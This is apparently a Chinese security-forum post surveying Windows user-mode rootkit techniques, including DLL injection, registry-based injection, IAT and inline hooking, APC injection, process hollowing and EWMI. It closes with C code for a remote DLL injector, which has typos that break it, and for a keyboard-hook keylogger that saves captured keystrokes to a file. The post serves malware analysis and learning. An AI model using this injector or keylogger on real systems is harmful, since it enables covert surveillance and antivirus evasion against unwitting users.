来到看雪也快1年了,非常喜欢这个圈子,大家可以一起学习技术,希望看雪也能越来越好吧!
在厚颜无耻的求波文化衫。言归正传:
这篇原来是我博客里面的东西,标题是用户态下的Rootkit技术,其实说到Rootkit,心里还是非常慌张的,因为这些只是普通的注入和hook,但是有些书上是这样写的,所以呢,我在厚颜无耻的给他冠以更加高级的名字---Rootkit,因为博客直接是markdown写的,今天刚刚写完一套四级(原谅我就是这样菜),时间不是很早了,所以直接就粘贴复制了,如果有排版错误,我在修改修改!,小小小菜鸟一枚,欢迎各位师傅指正。本文的参考来源我附在最后一部分了。
Rootkit被计算机病毒广泛适用于躲避杀毒软件的查杀,RootKit技术也叫进程隐藏技术,掌握这项技术,这是一个“优秀”的病毒编写者应该具备的能力。同样的,对于病毒分析者来说,识别这种技术也是必须具备的。Rootkit技术主要有4种方法,分别是DLL注入,代码注入,HOOK技术,APC注入技术。这些技术都是把恶意代码注入到进程(线程)中,一般用procexp能看到。 <!-- more -->
DLL注入是指向某一个特定的进程空间强制插入一个特定的DLL文件映像,值得注意的是这种插入是强制性的插入,从技术层面来看,DLL注入是利用LoadLibrary()加载特定的DLL文件到进程的内存空间。 注入的对象是可以是自身,也可以是远程进程。DLL注入技术实现主要分为5个部分,
反编译如下:
打开进程
设置进程内存空间
调用CreateRemoteThread实现注入
利用APPiNIT_dll注册表来实现DLL注入。因为windows允许只要加载了USER32.dll的进程并且,某一个dll的绝对路径处于注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion \Windows\AppInit_DLLs 中,os就会自动去加载位于该注册表的有效的DLL。所以只需要在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion \Windows\AppInit_DLLs中添加DLL的绝对路径,并把数值改为1,可以使得所有加载USER32.dll的进程全部加载目标路径的DLL。 利用AppCertDlls注册表,将HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls 下写入dll的路径,可以将此注册表项下的DLL加载到调用CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每个进程中。值得注意的是win xp-win 10 默认不存在这个注册表项
利用windows的消息机制,可以在事件发送到os之间设置一条钩链,来钩取不同的消息,如以下代码,利用SetwindowsHookEx可以钩取一个键盘消息。并且调用钩子处理函数来处理这个消息,所达到的效果和dll注入是一样的(执行dll内部的代码)
钩子函数要使用回调函数,这样可以重复钩取消息
dll搜索劫持技术是一种简单的dll注入技术,他利用windows加载dll目录的优先级来加载dll。他不需要通过修改注册表或者修改二进制文件的前提下注入dll的。下面是windows加载dll的默认搜索顺序:
代码注入是一种向进程中插入一段独立运行的代码并且不会影响进程的运行(如崩溃)的技术,从技术上讲他也是调用CreateRemoteThread()来注入远程代码。分两次向进程中注入,第一次以远程线程的形式注入,第二次以线程参数的形式注入远程进程。
反编译如下:
复制代码所需数据
打开目标进程:
开辟内存空间,为了存储数据
写入数据
开辟进程空间,为了存储代码
写入代码
调用CreateRemoteThread()进行代码注入
HOOK叫做钩取(钩子),他的原理是:windows系统分为用户态和内核态,在用户态中需要访问一些敏感的数据(网络,文件资源等)就必须要调用windowsAPI函数,来与kernel沟通获得该资源的使用权。钩子便可以这是在调用API函数的时候,在调用之前(IAT_HOOK)或者之后发挥作用,这样恶意软件便不需要创建一个进程就可以实现某些恶意的功能。便达到了隐藏自身的作用。
在一个windows应用程序中,人们所编写的代码所占的比例不到20%,其他都是导入的是库文件(windows下主要是dll文件),dll文件的存在大大简化了人们的工作,同样的也减少了程序所运行的成本,因为在一个dll文件中不是所有函数都会被使用。在.exe文件中存在一个叫做IAT(导入地址表)的表,这个表存在的原因就是便于程序去dll文件中寻找特定的函数。
一个正常的exe使用IAT的过程如下:程序调用了某个dll中的函数,首先回去程序自带的IAT中寻找改函数在dll中所处的地址,然后调用一个jmp跳转到dll!FUN()所在的地址,继续执行。【windows加载器会在程序运行时把dll中函数的地址存储在IAT中,当然程序第一个调用的是IAT的地址】
如果程序被IAT_HOOK的话,过程是这样的。首先先使用DLL注入把含有恶意代码的DLL注入到进程内部,并修改IAT数据,程序和正常过程一样调用IAT的地址,但是此时IAT的函数地址并不是正常的函数地址,jmp到恶意的函数中执行,执行完恶意代码后call到正常的dll中。然后retn。
InLine_HOOK技术和IAT_HOOK技术同样是钩取需要调用的API函数,区别在于InLine_HOOK并不是钩取IAT的数据,而是直接修改API函数内前5个字节,将其修改为JMP XXXXXXXX(恶意代码地址) 。当然在修改后要恢复修改的内容以便原函数能够正确的执行。
基本过程如下:正常调用API,在钩取前要修改原函数前5个字节,(1)做一个JMP,跳转到恶意代码,利用寄存器存储恶意代码地址,(2)然后跳转到原函数,还原原函数开始的前五个字节,以便正常执行原函数,(3)利用之前存储的地址,我们call过去,这样就到达了恶意代码处,(4)恶意代码执行完毕,返回正常执行原API函数,(5)最后返回用户领空. 下面是一次关于InLine_HOOK的分析案例:
APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链,他在线程处于可警告的等待状态时被执行。恶意代码为了使得自己立即被执行,他们会利用APC抢占处于等待状态的线程。
程序利用QueueUserAPC()函数调用远程函数,该函数的参数为pfnAPC,hThread,dwData,(1)目标线程的句柄; 2)指向恶意软件想要运行的函数指针; 3)和传递给函数指针的参数)。其要求hThread调用数值为dwData的pfnAPC定义的函数。 当然线程处于等待状态是APC注入的前提,一般的注入svchost.exe,我们也可以调用SleepEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjectsEx或WaitForSingleObjectEx函数,线程将进入可警醒状态。
利用KeInitializeAPC()和KeInsertQueueAPC()进行APC注入。
除了注入之外,我们还可以使用进程替换技术将一个可执行文件写入一个运行的进程内部,这种技术让恶意代码拥有和被替换进程相同的特权,这个技术关键是:需要以挂起状态创建进程,也就是说,这个进程将会被载入内存,但是主线程过去,在外部程序恢复主线程之前,程序不会工作,恢复主线程之后,程序工作。 如下代码是进程替换代码的伪代码.该程序通过调用CreateProcess并将进程创建标志设置为CREATE_SUSPENDED(0x00000004)完成。新进程的主线程被创建为挂起状态, 直到ResumeThread函数被调用才会运行。接下来,恶意软件需要用恶意的有效载荷来替换合法文件的内容。这可以通过调用ZwUnmapViewOfSection或NtUnmapViewOfSection来取消映射目标进程的内存(这一步的目的在于是重新写入傀儡进程的时候,进程对于这部分待注入的内存还有所有权,为了避免冲突,在重写入进程之前,需要取消进程对内存的映射)。这两个API基本上释放了一个部分指向的所有内存。现在内存被取消映射,加载器执行VirtualAllocEx为恶意软件分配新内存,并使用WriteProcessMemory将每个恶意软件的部分写入目标进程空间。恶意软件调用SetThreadContext将entrypoint指向已编写的新代码段。最后,恶意软件通过调用ResumeThread来恢复挂起的线程。
还有一个类似于进程hollowing的技术,叫做线程执行劫持。他针对进程中的现有线程,避免产生其他新的线程,先是查找线程,并且利用openThread打开目标线程,在获取目标线程的句柄后,恶意软件通过调用SuspendThread来将线程置于挂起模式。调用VirtualAllocEx和WriteProcessMemory来分配内存并执行代码注入的操作。然后调用GetThreadContext和GetThreadContext获取并设置线程的上下文,以将EIP寄存器设置到要执行恶意代码的地址,达到重启线程的作用。
这个技术类似于代码注入,但是与代码注入有所不同,更加像是把整个pe文件注入到进程,操作方法与进程替换的步骤又有所相像。这里暂时不做理会。
EWMI依靠注入资源管理器托盘窗口的额外窗口内存,并在恶意软件家族中被多次使用使用,如Gapz和PowerLoader。在注册窗口类时,应用程序可以指定一些额外的内存字节,称为额外的窗口存储器(EWM)。 然而,EWM并不算是块很充裕的空间。 为了规避这个限制,恶意软件将代码写入explorer.exe的共享部分,并使用SetWindowLong和SendNotifyMessage来指定一个指向shellcode的函数指针,然后执行它。当涉及到向共享部分的写入数据时,恶意软件有两个选择:它可以也创建一个共享空间,并将其映射到自身和另一个进程(例如,explorer.exe);第二个选择就是简单地打开已经存在的共享部分。 前者具有分配堆空间和调用NTMapViewOfSection以及其他一些API调用的开销,因此后一种方法被更频繁地使用。 恶意软件在共享部分中写入其shellcode后,使用GetWindowLong和SetWindowLong访问并修改“Shell_TrayWnd”的额外窗口内存。 GetWindowLong是用于将指定偏移量的32位值检索到窗口类对象的额外窗口存储器中的API,SetWindowLong用于更改指定偏移量的值。 通过这样做,恶意软件可以简单地更改窗口类中的函数指针的偏移量,并将其指向写入共享部分的shellcode。像上面提到的大多数其他技术一样,恶意软件需要触发它编写的代码。 在以前讨论的技术中,恶意软件通过调用API(如CreateRemoteThread,QueueUserAPC或SetThreadContext)来实现这一点。 在EWMI方法中,恶意软件通过调用SendNotifyMessage触发注入的代码。 在执行SendNotifyMessage之后,Shell_TrayWnd接收并将控件传递给由SetWindowLong先前设置的值指向的地址。 在图13中,名为PowerLoader的恶意软件使用这种技术。
Microsoft向开发人员提供了Shims[译者注:Shim是一个工程术语,描述为了让两个物体更好地组装在一起而插入的一块木头或金属。在计算机编程中,shim是一个小型的函数库,用于透明地拦截API调用,修改传递的参数、自身处理操作、或把操作重定向到其他地方。Shim也可以用来在不同的软件平台上运行程序。],主要是为了向后兼容。 Shims允许开发人员将修补程序应用于程序,而无需重写代码。 通过利用Shims,开发人员可以告诉操作系统如何处理其应用程序。 Shims本质上是一种嵌入API并针对特定可执行文件的方式。 恶意软件可以利用Shims来实现注入可执行文件并维持注入。 Windows运行Shim引擎时,它加载二进制文件以检查shimming数据库,以便应用适当的修补程序。有许多可以使用的修复程序,但是恶意软件还是更偏爱那些安全相关的(例如DisableNX,DisableSEH,InjectDLL等)。要安装shimming数据库,恶意软件可以使用各种方法。 例如,一个常见的方法是简单执行sdbinst.exe,并将其指向恶意的sdb文件。 在图14中,广告软件“Search Protect by Conduit”使用Shims进行注入和维持。 它在Google Chrome中执行“InjectDLL”shim以加载vc32loader.dll。 现在有一些用于分析sdb文件的工具,但是对于下面列出的sdb的分析,我使用了python-sdb,而没有使用现成的工具。
这篇博客,我主要参考的是逆向工程核心原理23.27.30-32等章节和恶意代码分析实战,以及来自看雪的一篇文章https://bbs.pediy.com/thread-220500.htm。文章的主要内容是2-7部分,第8.9两部分是摘录自看雪。先写了关于本文的前7章内容,随后看了看雪的这篇文章,里面介绍的内容和原来和很多相同,所以不做摘录,关于进程替换技术原来使用得是ResumeThread()API调用重启进程,也可以使用SetThreadContext来设置EIP为恶意代码入口。在线程执行劫持 部分有所体现。关于AppCertDlls注册表注入部分 。注册表项HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls可能需要自己写入。因为AppCertDlls并不存在。
bool InjectDll(DWORD dwPID, LPCTSTR szDLLPath)
{
HANDLE hProcess = NULL,hThread=NULL;
DWORD BufSize = (DWORD)(_tcslen(szDLLPath) + 1) * sizeof(TCHAR);
/*-------------打开需要注入的进程-------------*/
if (!OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))
{
printf("OpenProcess(%d) Open Fail:[%d]", dwPID, GetLastError());
return 0;
}
/*------------向目标进程开辟内存空间-----------*/
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);
/*------------将目标路径写入进程---------------*/
WriteProcessMenory(hProcess, pRemoteBuf, (LPVOID)szDLLPath, BufSize, NULL);
/*-----------获取LoadLibrary地址--------------*/
HMODULE hMod = GetModuleHandle(L"kenerl32.dll");
pThreadProc = GetAddress(hMod, "LoadLibrary");
/*------------调用远程线程加载DLL--------------*/
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pThreadProc, //远程线程LaodLibrary
pRemoteBuf, //参数,DLL的路径
0,
NULL);
CloseHandle(hProcess);
CloseHandle(hThread);
return 1;
}
extern "C" _declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, GetModuleHandle(TEXT("消息钩取(DLL注入)实验.dll")), 0);
if (g_hHook == NULL)
MessageBox(NULL, TEXT("安装钩子失败"), TEXT("提示"), MB_OKCANCEL);
}
LRESULT CALLBACK HookProc(int ncode, WPARAM wParam, LPARAM lParam)
{
FILE *fp; //做文件的写入工作
TCHAR key[20];
const TCHAR *k = NULL;
TCHAR *p = NULL;
if (ncode >= 0) //ncode 大于等于0,操作有效
{
if (!(lParam & 0x80000000))//出现按键消息
{
GetKeyNameText(lParam,key,20);//检索键名的字符串
int state = GetKeyState(VK_CAPITAL);//指定大小写的状态,返回值是1或者0
int asyncState = GetAsyncKeyState(VK_SHIFT);//指定函数调用时候
if (lstrlen(key) == 1) //只出现一个按键
{
if (asyncState < 0) //未上档
{
for (int i = 0; i < 22; i++)
{
if (KeyUn[i] == key[0])
{
key[0] = KeyUn[i];
break;
}
}
if (k == NULL&&state > 0) //小写状态
{
if (wParam >= 65 && wParam <= 90)
key[0] += 32; //转化为ASCII小写
}
}
else //小写状态
{
if (k == NULL&&state == 0)
{
if (wParam >= 65 && wParam <= 90)
key[0] += 32; //转化为小写
}
}
k = &key[0]; //k指向缓冲区的地址
}
}
else if (lstrlen(key) == 5)
{
if (key[0] == TEXT('N') && key[1] == TEXT('u') && key[2] == TEXT('m') && key[3] == TEXT(' '))
k = &key[4];
}
if (k != NULL)
{
lstrcat(str,k);
//FlushBuffer();
/*HANDLE hf = CreateFile(TEXT("C:/数据.txt"), GENERIC_READ | GENERIC_WRITE,
0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!GetProcessId(NULL))
ErrorExit(TEXT("GetProcessId"));
DWORD written;
WriteFile(hf, str, sizeof(str), &written, 0);
CloseHandle(hf);*/
fp = fopen("E:/学习/C语言/Viusal Studio/消息钩取(DLL注入)实验--注入工具(GUI)/消息钩取(DLL注入)实验--注入工具(GUI)/抓取的数据.txt", "wt");
//fprintf(fp, "%s", str);
//fwrite(str,sizeof(str),1,fp)
if(fwrite(str, sizeof(str), 1, fp)!=1)
MessageBox(NULL, TEXT("文件写入失败"), TEXT("提示"), MB_OKCANCEL);
fclose(fp);
}
}
//如果没有找到notepad的进程,将消息传递给下一个钩子
return CallNextHookEx(g_hHook, ncode, wParam, lParam);
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-2-2 14:45
被kanxue编辑
,原因: